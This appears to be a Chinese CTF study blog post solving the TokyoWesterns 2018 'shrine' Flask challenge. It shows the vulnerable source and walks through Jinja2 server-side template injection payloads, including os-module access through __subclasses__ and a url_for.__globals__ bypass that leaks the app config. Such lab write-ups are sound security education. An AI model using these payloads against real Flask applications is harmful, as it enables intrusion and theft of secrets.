「配枪朱丽叶。」

RootのCTF学习笔记。

TokyoWesternsCTF-WEB:shrine

学习:
从 flask+jinjia2 认识 SSTI 服务端模板注入 | AbelChe's Blog
Tokyo Westerns CTF 2018 WEB Wp | 码农网


题目里只给出了一个源代码:

import flask
import os


app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)


@app.route('/shrine/')

可以看出是个 flask 在 /shrine/ 下的 SSTI,测试一下:

s = s.replace('(', '').replace(')', '')
可以看出过滤了括号。

没有 WAF 的情况

[1]传入{{config}}
[2]传入{{self.__dict__}}

().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").__dict__.environ['FLAG']

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").__dict__.environ['FLAG']

[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']

当config,self,( ) 都被过滤的时候,为了去获得讯息,必须去读一些全局变量。比如说 current_app
比如这样:

__globals__['current_app'].config['FLAG']

top.app.config['FLAG']

绕过WAF

{{url_for.__globals__}} ,它引用的内容中,有着 current_app 的全局变量。

所以payload:
{{url_for.__globals__['current_app'].config['FLAG']}}